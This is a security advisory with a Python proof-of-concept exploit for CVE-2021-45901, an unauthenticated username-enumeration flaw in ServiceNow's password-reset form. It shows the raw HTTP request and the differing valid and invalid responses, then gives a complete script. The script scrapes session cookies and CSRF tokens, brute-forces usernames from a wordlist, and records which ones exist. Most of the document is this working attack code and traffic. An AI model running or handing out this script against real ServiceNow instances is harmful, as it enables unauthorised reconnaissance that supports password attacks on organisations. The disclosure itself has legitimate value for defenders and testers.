
Exploitation automatisée d'énumération de noms d'utilisateur pour ServiceNow (CVE-2021-45901) utilisant la détection de divergence de réponse HTTP via le formulaire de réinitialisation de mot de passe.

enumSNOWUsers.py - Énumérateur d'utilisateurs SNOW
Vulnérabilité d'énumération de noms d'utilisateur trouvée dans l'application ServiceNow
Publié: Version: 1.0
Fournisseur: ServiceNow
Produit: ServiceNow (https://www.servicenow.com/)
Version affectée: Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)
ServiceNow est une entreprise de logiciels américaine basée à Santa Clara, en Californie, qui développe une plateforme de cloud computing pour aider les entreprises à gérer les flux de travail numériques pour les opérations d'entreprise.
Énumération de noms d'utilisateur (non authentifiée)
CVE: CVE-2021-45901
CWE: CWE-200: Exposition d'informations sensibles à un acteur non autorisé
La vulnérabilité découverte dans ServiceNow (Orlando) permet une énumération réussie des noms d'utilisateur, à l'aide d'une liste de mots. En utilisant une session non authentifiée et en naviguant vers le formulaire de réinitialisation de mot de passe, il est possible de déduire un nom d'utilisateur valide. Ceci est réalisé en examinant les données de réponse HTTP POST initialement déclenchées par le formulaire web de réinitialisation de mot de passe. Cette réponse diffère selon l'existence du nom d'utilisateur.
REMARQUE: Pour automatiser ce processus, un cookie de session valide (JSESSIONID), un jeton CSRF (pwd_csrf_token) et un X-UserToken (X-UserToken) sont nécessaires. Tous ces objets sont récupérables dans le code côté client.
CWE-203: Discrepance observable
Ce qui suit illustre les discrepancies observables dans les données de réponse HTTP POST, utilisées pour déduire un nom d'utilisateur valide ou non valide.
Request
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default
Response (Valid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Response (Invalid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Mise à niveau vers "Rome"
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# User enumeration script SNOW
# Requires valid
1. JSESSION (anonymous)
2. X-UserToken
3. CSRF Token
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Decription: SNOW Username Enumerator |")
print ("| Usage : "+sys.argv[0]+" |")
print ("| Prequisite: \'users.txt\' needs to contain list of users |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
proxies = {
"http":"http://127.0.0.1:8080/",
"https":"http://127.0.0.1:8080/"
}
url = "http://<redacted>/"
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, timeout=10, verify=False, proxies=proxies)
JSESSIONID = r.cookies["JSESSIONID"]
glide_user_route = r.cookies["glide_user_route"]
startTime = (str(time.time_ns()))
# print (startTime[:-6])
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
with open ("users.txt", "r") as f:
usernames = f.readlines()
print (f"[+] Brute forcing ....")
for users in usernames:
url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
headers1 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
}
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
obj1 = re.findall(r"pwd_csrf_token", r.text)
obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
tokenIndex = (r.text.index(obj1[0]))
startTime2 = (str(time.time_ns()))
# userTokenIndex = (r.text.index(obj2[0]))
# userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
token = (r.text[tokenIndex+45:tokenIndex+73])
url = "http://<redacted>/xmlhttp.do"
headers2 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Content-Length": "786",
"Origin": "http://<redacted>/",
"Connection": "keep-alive",
# "X-UserToken":""+userToken+"",
"Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
}
data = {
"sysparm_processor": "PwdAjaxVerifyIdentity",
"sysparm_scope": "global",
"sysparm_want_session_messages": "true",
"sysparm_name":"verifyIdentity",
"sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
"sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
"sysparm_user_id_0":""+users.strip()+"",
"sysparm_identification_number":"1",
"sysparam_pwd_csrf_token":""+token+"",
"ni.nolog.x_referer":"ignore",
"x_referer":"$pwd_reset.do?sysparm_url=ss_default"
}
payload_str = urllib.parse.urlencode(data, safe=":+")
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
try:
# s = requests.Session()
# s.verify = False
time.sleep(2)
r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
if "500" in r.text:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
elif "200" in r.text:
print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
else:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
except KeyboardInterrupt:
sys.exit()
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)
if __name__ == "__main__":
main ()
Victor Hanna d'Exploit Security